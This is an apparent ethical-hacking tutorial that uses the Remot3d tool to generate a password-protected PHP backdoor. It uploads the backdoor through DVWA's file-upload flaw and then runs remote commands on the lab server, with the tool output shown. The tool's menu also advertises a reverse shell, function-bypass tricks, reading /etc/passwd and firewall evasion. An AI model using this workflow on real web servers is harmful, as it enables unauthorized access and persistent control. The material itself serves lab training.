According to the ethical hacking researcher, the backdoor is malware that is used to break the authentication of any computer system. Now day’s most of the backdoor attacks are increasing in organizations. Backdoor takes the hidden form of the program. The Backdoor can be designed & programmed easily, as was demonstrated in the ethical hacking course of the International Institute of Cyber Security, Delhi India. Today we will show you a simple program that is used to create a backdoor easily.

The Remot3d tool is used in creating a backdoor. It’s a few lines of code that are used to attack PHP web applications, mentions the ethical hacking professor.

ATTACKER:-

  • On the Attacker side, we are using DVWA to test the tool. To download the DVWA iso go to: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/
  • After downloading the iso, open the iso in a virtual box or VMware workstation. Then start iso.
  • For getting DVWA ip type ifconfig In our case IP was 192.168.1.105

REMOT3D INSTALLATION :-

  • This tool has been tested on Parrot OS 4.5
  • For cloning type git clone https://github.com/KeepWannabe/Remot3d.git
  • Type cd Remot3d
  • Type ./Remot3d

          @@@@@@@   @@@@@@@@  @@@@@@@@@@    @@@@@@   @@@@@@@  @@@@@@   @@@@@@@
          @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@  @@@@@@@  @@@@@@@@
          @@!  @@@  @@!       @@! @@! @@!  @@!  @@@    @@!        @@@  @@!  @@@
          !@!  @!@  !@!       !@! !@! !@!  !@!  @!@    !@!        @!@  !@!  @!@
          @!@!!@!   @!!!:!    @!! !!@ @!@  @!@  !@!    @!!    @!@!!@   @!@  !@!
          !!@!@!    !!!!!:    !@!   ! !@!  !@!  !!!    !!!    !!@!@!   !@!  !!!
          !!: :!!   !!:       !!:     !!:  !!:  !!!    !!:        !!:  !!:  !!!
          :!:  !:!  :!:       :!:     :!:  :!:  !:!    :!:        :!:  :!:  !:!
          ::   :::   :: ::::  :::     ::   ::::: ::     ::    :: ::::   :::: ::
          :   : :  : :: ::    :      :     : :  :      :      : : :   :: :  :
                        --------------------------------------
                           PHP REMOTE BACKDOOR - BY B1P0L4R
 [+] Options :   
└[-] 1. Generate Backdoor
└[-] 2. Generate Reverser Shell (with iMap Disable Function Bypass)
 └[-] 3. Bypass Read /etc/passwd (with unique logic)
 └[-] 4. Remote your Backdoor (Just for Option 1)
 ┌[+] Choose the options
└[root@indoxploit]:#
  • Above are the options which are used in creating backdoors.
  • Type 1
  ┌[+] Choose the options   └[root@indoxploit]:~# 1
       __----_
     /##|       \
    /###|     |  \______
   |####|               \
   |####|      ___   ___|©
   \####/     _____ /
     \###    /
     =====ÊšçØ      ╔═╗┬ ┬┌─┐  ╦═╗┌─┐┌┬┐┌─┐┌┬┐┌─┐      //
     /        \     ╠═╝├─┤├─┘  ╠╦╝├┤ ││││ │ │ ├┤      //
    |   |_      \   ╩  ┴ ┴┴    ╩╚═└─┘┴ ┴└─┘ ┴ └─┘    //  But it's useless !
    \___/      |    ╔╗ ╔═╗╔═╗╦╔═╔╦╗╔═╗╔═╗╦═╗        //      you can't control his heart
     \         /    ╠╩╗╠═╣║  ╠╩╗ ║║║ ║║ ║╠╦╝       //
      |    |__|__   ╚═╝╩ ╩╚═╝╩ ╩═╩╝╚═╝╚═╝╩╚═      //
      (______)___)  Version 2.0 - Stable
[+] Set Your Backdoor Name : backdoor.pbp
  • Then type backdoor name backdoor.php
  • Then enter the password: 123456
[+] Set Your Backdoor Password : 123456 
└[-] Success Generating Backdoor on /home/user/Downloads/Remot3d/backdoor.pbp
  • Backdoor will save in the current directory of Remot3d.
  • Now this backdoor.php is required to be uploaded to a vulnerable server, which in our case is DVWA. We will use an upload vulnerability in DVWA to upload this backdoor.php
  • For testing upload the backdoor in DVWA. Go to the browser and open dvwa. Type 192.168.1.105. Enter username : admin & password: password
  • After opening DVWA, click on Upload. Then go to the Remot3d location & select the backdoor.php file.

  • After uploading the file. Go to terminal type ./Remot3d
  • Type 4
[+] Options :    
└[•] 1. Generate Remote Backdoor
└[•] 2. Generate Reverser Shell (with iMap Disable Function Bypass)
└[•] 3. Bypass Server Firewall (with FUD Backdoor Script)
└[•] 4. Remote your Backdoor (Just for Option 1)

┌[+] Choose the options
└[root@indoxploit]:~# 4
  • Type the location where you have uploaded Remot3d. Type http://192.168.1.105/hackable/uploads/backdoor.php
  • Type the same password as you have typed while creating the backdoor. Type 123456
[ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++     ]
[!] Backdoor Alive… Processing for Connect
[+] Your Public IP : 47.5.27.25
[+] System Info :

Notice: Undefined index: pwd in /opt/lampp/htdocs/hackable/uploads/backdoor3.php on line 1

Linux dvwa #41-Ubuntu SMP Thu Aug 19 01:12:52 UTC 2010 i686 unknown GNU/Linux
[+] User ID :

Notice: Undefined index: pwd in /opt/lampp/htdocs/hackable/uploads/backdoor3.php on line 1

uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
[ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ]
  • Type ifconfig
[+] COMMAND : ifconfig

Notice: Undefined index: pwd in /opt/lampp/htdocs/hackable/uploads/backdoor3.php on line 1

eth0 Link encap:Ethernet HWaddr 00:0c:29:33:5d:c2
inet addr:192.168.1.105 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe33:5dc2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1035 errors:0 dropped:0 overruns:0 frame:0
TX packets:383 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:106710 (106.7 KB) TX bytes:267977 (267.9 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:68 errors:0 dropped:0 overruns:0 frame:0
TX packets:68 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5440 (5.4 KB) TX bytes:5440 (5.4 KB)
  • Type ls will display current files in the server.
[+] COMMAND : ls


Notice: Undefined index: pwd in /opt/lampp/htdocs/hackable/uploads/backdoor3.php on line 1

backdoor
backdoor2
backdoor3.php
backdoor4.php
dvwa_email.png
test
  • Now you can manipulate your target. If the target has having above vulnerability, according to ethical hacking courses.
Was this answer helpful? 10 Users Found This Useful (16 Votes)